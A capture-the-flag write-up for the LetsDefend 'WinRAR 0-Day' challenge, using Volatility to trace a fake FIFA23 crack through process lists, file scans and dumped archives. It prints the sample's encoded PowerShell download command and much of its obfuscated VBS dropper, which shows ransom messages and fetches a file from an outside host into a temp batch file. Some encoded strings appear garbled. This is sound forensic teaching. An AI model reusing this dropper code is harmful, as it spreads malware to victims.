

LetsDefend: WinRAR 0-Day

The following writeup is for [WinRAR 0-day](#) on LetsDefend, it involves investigating a memory dump using volatility.

Scenario: It appears that there are numerous cracked versions of popular games available. However, it seems we may have downloaded the wrong one, as it exhibits suspicious behaviour. We require your assistance in investigating this matter.

What is the suspected process?

I started off by using the windows.pslist plugin:

```
python3 vol.py -f ~/Desktop/Winny.vmem windows.pslist
```

```
5072      3564      WinRAR.exe
5100      772      HxTsr.exe
3488      640      svchost.exe
4584      3564      WinRAR.exe
```

Based on the name of the challenge, we can assume the suspected process is WinRAR.exe.

We suspect that the crack had another name. Can you find the old name of that crack?

```
python3 vol.py -f ~/Desktop/Winny.vmem windows.cmdline | grep "WinRAR"
```

```
4584      WinRAR.exe      "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Work\Downloads\b6wzzawS.rar"
```

We can see that the original name was b6wzzawS.rar.

What is the new crack filename?

You can use the windows.filescan plugin and grep the output to look for everything in a Downloads directory:

```
python3 vol.py -f ~/Desktop/Winny.vmem windows.filescan | grep "\Downloads"
0xc402e9a4c230 \Users\Work\Downloads 216
0xc402ec3be1b0 \Users\Work\Downloads\winrar-x64-623.exe 216
0xc402ed4b0420 \Users\Work\Downloads 216
0xc402ed4b08d0 \Users\Work\Downloads 216
0xc402ed4b74a0 \Users\Work\AppData\Roaming\Microsoft\Windows\Recent\Downloads.lnk 216
0xc402eda5ad90 \Users\Work\Downloads 216
0xc402eda5bba0 \Users\Work\Downloads 216
0xc402edba1ce0 \Users\Work\Downloads 216
0xc402ee5b16e0 \Users\Work\Downloads\FIFA23CRACK.rar1 216
0xc402ee820320 \Users\Work\Downloads\desktop.ini 216
```

The answer is FIFA23CRACK.rar.

What is the command that executed the remote request?

We can use the windows.dumpfiles plugin and provide the virtual address of FIFA23CRACK.rar:

```
python3 vol.py -f ~/Desktop/Winny.vmem windows.dumpfiles --virtaddr 0xc402ee5b16e0
```

Rename the file so we can extract its contents:

```
mv file.0xc402ee5b16e0.0xc402ed6e45d0.DataSection0bject.FIFA23CRACK.rar1.dat FIFA23CRACK.rar
```

```
7z e FIFA23CRACK.rar
```

We can then read the contents of 'ReadMe.txt .cmd.' to find the encoded PowerShell command:

```
cat 'ReadMe.txt .cmd.'
```

```
powershell.exe -EncodedCommand SM52b2tLLVd1Y1JlcXVlc3QgLVVyaSAanaHR0cHM6Ly9yYXcuZ210aHVidXN1cmNvbnRlbnQuY29tL0Vsc2ZHN0VsnGEyeS9TZWMyZXRXZWwL21haW4vU2Q0cUF4MjEudmJzJyAtT3V0RmlsZSAiJGVudjpuRU1QXFNkNHFBEDixLnZicyI=
```

The external link has a username. What is it?

Let's decode the base64 encoded PowerShell command using Cyberchef (can also do this in the terminal):

Input

```
|SW52b2tLLVd1Y1JlcXVlc3QgLVVyaSAanaHR0cHM6Ly9yYXcuZ210aHVidXN1cmNvbnRlbnQuY29tL0Vsc2ZHN0VsnGEyeS9TZWMyZXRXZWwL21haW4vU2Q0cUF4MjEudmJzJyAtT3V0RmlsZSAiJGVudjpuRU1QXFNkNHFBEDixLnZicyI=
```

Output

```
Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/Elsfa7El4a2y/SecretWeap/main/Sd4qAx21.vbs' -OutFile '$env:TEMP\Sd4qAx21.vbs'
```

root@ip:172-31-15-98:~/Desktop/volatility3# echo "SW52b2tLLVd1Y1JlcXVlc3QgLVVyaSAanaHR0cHM6Ly9yYXcuZ210aHVidXN1cmNvbnRlbnQuY29tL0Vsc2ZHN0VsnGEyeS9TZWMyZXRXZWwL21haW4vU2Q0cUF4MjEudmJzJyAtT3V0RmlsZSAiJGVudjpuRU1QXFNkNHFBEDixLnZicyI=" | base64 -d
Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/Elsfa7El4a2y/SecretWeap/main/Sd4qAx21.vbs' -OutFile '\$env:TEMP\Sd4qAx21.vbs' root@ip:172-31-15-98:~/Desktop/volatility3#

The username is "Elsfa7El4a2y".

It seems the creator of that ransomware uploaded a file to the cloud. Can you find which domain it was downloaded from?

Unfortunately, the link no longer works, nor is the Sd4qAx21.vbs present on the system.

Therefore, after viewing the hint, we are given a link to Malware Bazaar:

<https://bazaar.abuse.ch/sample/0352598565fbafe39866f3c9b5964b613fd259ea12a8fe46410b5d119db97aba>

If we download the sample and view the VBS script, we are presented with:

```
Function Nautilus(ByVal sBase64EncodedText, ByVal flsUtf16LE)
```

```
Dim sTextEncoding
```

```
if flsUtf16LE Then sTextEncoding = "utf-8"
```

```
With CreateObject("Msxml2.DOMDocument").CreateElement("aux")
```

```
.DataType = "bin.base64"
```

```

        .Text = sBase64EncodedText

    Nautilus = BUtil(.NodeTypedValue, sTextEncoding)

End With

End Function

```

```

function BUtil(ByVal byteArray, ByVal sTextEncoding)

    If LCCase(sTextEncoding) = "utf-8" then

        BUtil = CStr(byteArray)

    Else

        With CreateObject("ADODB.Stream")

            .Type = 1

            .Open

            .Write byteArray

            .Position = 0

            .Type = 2

            .CharSet = sTextEncoding

            BUtil = .ReadText

            .Close

        End With

    End If

end function

```

```

Function xA3bVjQ3(A0CQ5, B9HW3)

    Dim nFBRW6, X7IDP

    On Error Resume Next

    Set nFBRW6 = CreateObject(StRREverse("llehS.tpircSW"))

    X7IDP = nFBRW6.RegRead(A0CQ5)

    If err.number <> 0 Then

        xA3bVjQ3 = B9HW3

    Else

        xA3bVjQ3 = X7IDP

    End If

    Set nFBRW6 = Nothing

End Function

```

```

strComputer = "."

```

```
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &
```

```
strComputer & "\root\default:StdRegProv")
```

```
strKeyPath = "SYSTEM\CurrentControlSet\Control"
```

```
strUser = CreateObject("WScript.Network").UserName
```

```
oReg.EnumValues HKEY_LOCAL_MACHINE, strKeyPath, _
```

```
arrValueNames, arrValueTypes
```

```
res = MsgBox("Hi " & strUser & ", your data have been compromised!", vbOKCancel+vbCritical, "")
```

```
For jj=0 To UBound(arrValueNames)
```

```
    Select Case arrValueTypes(jj)
```

```
        Case REG_SZ, REG_EXPAND_SZ, REG_DWORD
```

```
            str = XA3bVjQ3("HKLM\" & strKeyPath & "\" & arrValueNames(jj), "Winny")
```

```
            res = MsgBox(arrValueNames(jj) & " LEAKED: " & query(str), vbOKCancel+vbCritical, "")
```

```
        End Select
```

```
Next
```

```
res = MsgBox("Please transfer ETH to 0xebd08c5e0dac4e1e1762be5bdca0dcfa76f7a5691af73acc8e148537209bab33 to receive  
decrypted data...", vbOKOnly+vbInformation, "")
```

```
v3xDf0eIUqts =
```

```
Replace("68LOPPLPOPLPO.LPLPOLPOLPOP74LOPPLPOPLPO.LPLPOLPOLPOP74LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLP  
O.LPLPOLPOLPOP73LOPPLPOPLPO.LPLPOLPOLPOP3aLOPPLPOPLPO.LPLPOLPOLPOP2fLOPPLPOPLPO.LPLPOLPOLPOP2fLOPP  
LPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP77LOPPLPOPLPO.LPLPOLPOLPOP  
6eLOPPLPOPLPO.LPLPOLPOLPOP6cLOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP61LOPPLPOPLPO.LPLPOL  
POLPOP64LOPPLPOPLPO.LPLPOLPOLPOP38LOPPLPOPLPO.LPLPOLPOLPOP35LOPPLPOPLPO.LPLPOLPOLPOP30LOPPLPOPLP  
O.LPLPOLPOLPOP2eLOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP64LOP  
PLPOPLPO.LPLPOLPOLPOP69LOPPLPOPLPO.LPLPOLPOLPOP61LOPPLPOPLPO.LPLPOLPOLPOP66LOPPLPOPLPO.LPLPOLPOLP  
OP69LOPPLPOPLPO.LPLPOLPOLPOP72LOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP2eLOPPLPOPLPO.LPL  
POLPOLPOP63LOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP2fLOPPLPOP  
LPO.LPLPOLPOLPOP79LOPPLPOPLPO.LPLPOLPOLPOP79LOPPLPOPLPO.LPLPOLPOLPOP76LOPPLPOPLPO.LPLPOLPOLPOP73L  
OPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP62LOPPLPOPLPO.LPLPOLPOLPOP32LOPPLPOPLPO.LPLPOLPO  
LPPOP78LOPPLPOPLPO.LPLPOLPOLPOP71LOPPLPOPLPO.LPLPOLPOLPOP6bLOPPLPOPLPO.LPLPOLPOLPOP63LOPPLPOPLPO.L  
PLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP62LOPPLPOPLPO.LPLPOLPOLPOP55LOPPLPOPLPO.LPLPOLPOLPOP63LOPPLP  
OPLPO.LPLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP53LOPPLPOPLPO.LPLPOLPOLPOP39LOPPLPOPLPO.LPLPOLPOLPOP3  
0LOPPLPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP59LOPPLPOPLPO.LPLPOLPOLPOP78LOPPLPOPLPO.LPLPOL  
POLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP59LOPPLPOPLPO.LPLPOLPOLPOP4aLOPPLPOPLPO.LPLPOLPOLPOP44LOPPLPOPLP  
O.LPLPOLPOLPOP55LOPPLPOPLPO.LPLPOLPOLPOP46LOPPLPOPLPO.LPLPOLPOLPOP54LOPPLPOPLPO.LPLPOLPOLPOP31LOP  
PLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP7aLOPPLPOPLPO.LPLPOLPOLP  
OP2dLOPPLPOPLPO.LPLPOLPOLPOP6cLOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP39LOPPLPOPLPO.LPLP  
OLPOLPOP54LOPPLPOPLPO.LPLPOLPOLPOP52LOPPLPOPLPO.LPLPOLPOLPOP66LOPPLPOPLPO.LPLPOLPOLPOP38LOPPLPOPL  
PO.LPLPOLPOLPOP44LOPPLPOPLPO.LPLPOLPOLPOP6aLOPPLPOPLPO.LPLPOLPOLPOP52LOPPLPOPLPO.LPLPOLPOLPOP56LO  
PPLPOPLPO.LPLPOLPOLPOP31LOPPLPOPLPO.LPLPOLPOLPOP42LOPPLPOPLPO.LPLPOLPOLPOP6cLOPPLPOPLPO.LPLPOLPOL  
POP5fLOPPLPOPLPO.LPLPOLPOLPOP59LOPPLPOPLPO.LPLPOLPOLPOP4fLOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPLPO.LPLP  
OLPOLPOP7aLOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP74LOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPL  
PO.LPLPOLPOLPOP38LOPPLPOPLPO.LPLPOLPOLPOP56LOPPLPOPLPO.LPLPOLPOLPOP63LOPPLPOPLPO.LPLPOLPOLPOP55LO  
PPLPOPLPO.LPLPOLPOLPOP76LOPPLPOPLPO.LPLPOLPOLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP50LOPPLPOPLPO.LPLPOLPOL  
POP5aLOPPLPOPLPO.LPLPOLPOLPOP33LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP32LOPPLPOPLPO.LP
```

LPLPOLPOP54LOPPLPOPLPO.LPLPOLPOP65LOPPLPOPLPO.LPLPOLPOP42LOPPLPOPLPO.LPLPOLPOP70LOPPLPOPLPO.LPLPOLPOP64LOPPLPOPLPO.LPLPOLPOP43LOPPLPOPLPO.LPLPOLPOP5fLOPPLPOPLPO.LPLPOLPOP53LOPPLPOPLPO.LPLPOLPOP6cLOPPLPOPLPO.LPLPOLPOP6fLOPPLPOPLPO.LPLPOLPOP4fLOPPLPOPLPO.LPLPOLPOP70LOPPLPOPLPO.LPLPOLPOP4dLOPPLPOPLPO.LPLPOLPOP47LOPPLPOPLPO.LPLPOLPOP57LOPPLPOPLPO.LPLPOLPOP49LOPPLPOPLPO.LPLPOLPOP30LOPPLPOPLPO.LPLPOLPOP4cLOPPLPOPLPO.LPLPOLPOP4bLOPPLPOPLPO.LPLPOLPOP7aLOPPLPOPLPO.LPLPOLPOP46LOPPLPOPLPO.LPLPOLPOP77LOPPLPOPLPO.LPLPOLPOP69LOPPLPOPLPO.LPLPOLPOP48LOPPLPOPLPO.LPLPOLPOP4dLOPPLPOPLPO.LPLPOLPOP58LOPPLPOPLPO.LPLPOLPOP48LOPPLPOPLPO.LPLPOLPOP68LOPPLPOPLPO.LPLPOLPOP30LOPPLPOPLPO.LPLPOLPOP55LOPPLPOPLPO.LPLPOLPOP5aLOPPLPOPLPO.LPLPOLPOP78LOPPLPOPLPO.LPLPOLPOP36LOPPLPOPLPO.LPLPOLPOP5fLOPPLPOPLPO.LPLPOLPOP65LOPPLPOPLPO.LPLPOLPOP6eLOPPLPOPLPO.LPLPOLPOP34LOPPLPOPLPO.LPLPOLPOP4aLOPPLPOPLPO.LPLPOLPOP44LOPPLPOPLPO.LPLPOLPOP45LOPPLPOPLPO.LPLPOLPOP6eLOPPLPOPLPO.LPLPOLPOP75LOPPLPOPLPO.LPLPOLPOP34LOPPLPOPLPO.LPLPOLPOP6bLOPPLPOPLPO.LPLPOLPOP30LOPPLPOPLPO.LPLPOLPOP69LOPPLPOPLPO.LPLPOLPOP50LOPPLPOPLPO.LPLPOLPOP5aLOPPLPOPLPO.LPLPOLPOP6fLOPPLPOPLPO.LPLPOLPOP6eLOPPLPOPLPO.LPLPOLPOP61LOPPLPOPLPO.LPLPOLPOP5aLOPPLPOPLPO.LPLPOLPOP67LOPPLPOPLPO.LPLPOLPOP6dLOPPLPOPLPO.LPLPOLPOP69LOPPLPOPLPO.LPLPOLPOP44LOPPLPOPLPO.LPLPOLPOP75LOPPLPOPLPO.LPLPOLPOP53LOPPLPOPLPO.LPLPOLPOP6bLOPPLPOPLPO.LPLPOLPOP45LOPPLPOPLPO.LPLPOLPOP74LOPPLPOPLPO.LPLPOLPOP6dLOPPLPOPLPO.LPLPOLPOP4dLOPPLPOPLPO.LPLPOLPOP55LOPPLPOPLPO.LPLPOLPOP30LOPPLPOPLPO.LPLPOLPOP70LOPPLPOPLPO.LPLPOLPOP39LOPPLPOPLPO.LPLPOLPOP6eLOPPLPOPLPO.LPLPOLPOP4eLOPPLPOPLPO.LPLPOLPOP5aLOPPLPOPLPO.LPLPOLPOP66LOPPLPOPLPO.LPLPOLPOP6fLOPPLPOPLPO.LPLPOLPOP34LOPPLPOPLPO.LPLPOLPOP34LOPPLPOPLPO.LPLPOLPOP4fLOPPLPOPLPO.LPLPOLPOP63LOPPLPOPLPO.LPLPOLPOP4dLOPPLPOPLPO.LPLPOLPOP75LOPPLPOPLPO.LPLPOLPOP44LOPPLPOPLPO.LPLPOLPOP45LOPPLPOPLPO.LPLPOLPOP79LOPPLPOPLPO.LPLPOLPOP32LOPPLPOPLPO.LPLPOLPOP71LOPPLPOPLPO.LPLPOLPOP44LOPPLPOPLPO.LPLPOLPOP2dLOPPLPOPLPO.LPLPOLPOP72LOPPLPOPLPO.LPLPOLPOP54LOPPLPOPLPO.LPLPOLPOP53LOPPLPOPLPO.LPLPOLPOP65LOPPLPOPLPO.LPLPOLPOP59LOPPLPOPLPO.LPLPOLPOP6fLOPPLPOPLPO.LPLPOLPOP77LOPPLPOPLPO.LPLPOLPOP67LOPPLPOPLPO.LPLPOLPOP35LOPPLPOPLPO.LPLPOLPOP73LOPPLPOPLPO.LPLPOLPOP4aLOPPLPOPLPO.LPLPOLPOP45LOPPLPOPLPO.LPLPOLPOP77LOPPLPOPLPO.LPLPOLPOP68LOPPLPOPLPO.LPLPOLPOP7aLOPPLPOPLPO.LPLPOLPOP56LOPPLPOPLPO.LPLPOLPOP5fLOPPLPOPLPO.LPLPOLPOP41LOPPLPOPLPO.LPLPOLPOP2fLOPPLPOPLPO.LPLPOLPOP38LOPPLPOPLPO.LPLPOLPOP73LOPPLPOPLPO.LPLPOLPOP6fLOPPLPOPLPO.LPLPOLPOP66LOPPLPOPLPO.LPLPOLPOP70LOPPLPOPLPO.LPLPOLPOP31LOPPLPOPLPO.LPLPOLPOP68LOPPLPOPLPO.LPLPOLPOP70LOPPLPOPLPO.LPLPOLPOP6dLOPPLPOPLPO.LPLPOLPOP33LOPPLPOPLPO.LPLPOLPOP76LOPPLPOPLPO.LPLPOLPOP38LOPPLPOPLPO.LPLPOLPOP67LOPPLPOPLPO.LPLPOLPOP64LOPPLPOPLPO.LPLPOLPOP2fLOPPLPOPLPO.LPLPOLPOP4aLOPPLPOPLPO.LPLPOLPOP75LOPPLPOPLPO.LPLPOLPOP73LOPPLPOPLPO.LPLPOLPOP74LOPPLPOPLPO.LPLPOLPOP2dLOPPLPOPLPO.LPLPOLPOP49LOPPLPOPLPO.LPLPOLPOP6dLOPPLPOPLPO.LPLPOLPOP61LOPPLPOPLPO.LPLPOLPOP67LOPPLPOPLPO.LPLPOLPOP65LOPPLPOPLPO.LPLPOLPOP2eLOPPLPOPLPO.LPLPOLPOP6aLOPPLPOPLPO.LPLPOLPOP70LOPPLPOPLPO.LPLPOLPOP67", "LOPPLPOPLPO.LPLPOLPOP", " ")

```
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
```

```
dim bStrm: Set bStrm = createobject("Adodb.Stream")
```

```
xHttp.Open "GET", OwOw(v3xDF0eUqts), False
```

```
xHttp.Send
```

```
with bStrm
```

```
.type = 1
```


```
.open
```

```
.write xHttp.responseBody
```


```
.savetofile Nautilus(StRREVErsE(replace("=Q*****Yi5iUzQFNMt0Y0IE*****w1WZ0x1c39GZul2dcpzY", "*****", "X")), False), 2
```

```
end with
```

Let's try to decode this using cyberchef. First, copy the big block of text and grab the Find / Replace recipe. We want to remove the string "LOPPLPOPLPO.LPLPOLPOLPOP":



Then grab the From Hex recipe, and we are shown the decoded URL:



Therefore, the domain is

download850[.]mediafire[.]com

The attacker left the file behind in someplace to come back later for the device. What is the full location of this file?

We are concerned with the following line:

```
.savetofile Nautilus(StRREVErsE(replace("=Q*****Yi5iUzQFNMt0Y0IE*****w1WZ0x1c39GZul2dcpzY", "*****", "X")), False), 2
```

If you take a look at the Nautilus function, it replaces “*****” with X, reverses the string, and base64 decodes the string. We can do all this using Cyberchef:

Recipe

Find / Replace

Find

***** SIMPLE STRING

Replace

X

☒ Global match

☐ Case insensitive

☒ Multiline matching

☐ Dot matches all

Reverse

By

Character

From Base64

Alphabet

A-Za-z0-9+/=

☒ Remove non-alphabet chars

☐ Strict mode

Input

=Q*****Yi5iUzQFNmt0V0IE*****w1wZ0x1c39GZul2dcpzY

Output

c:\windows\temp\B4cKL4T3R.bat

c:\windows\temp\B4cKL4T3R.bat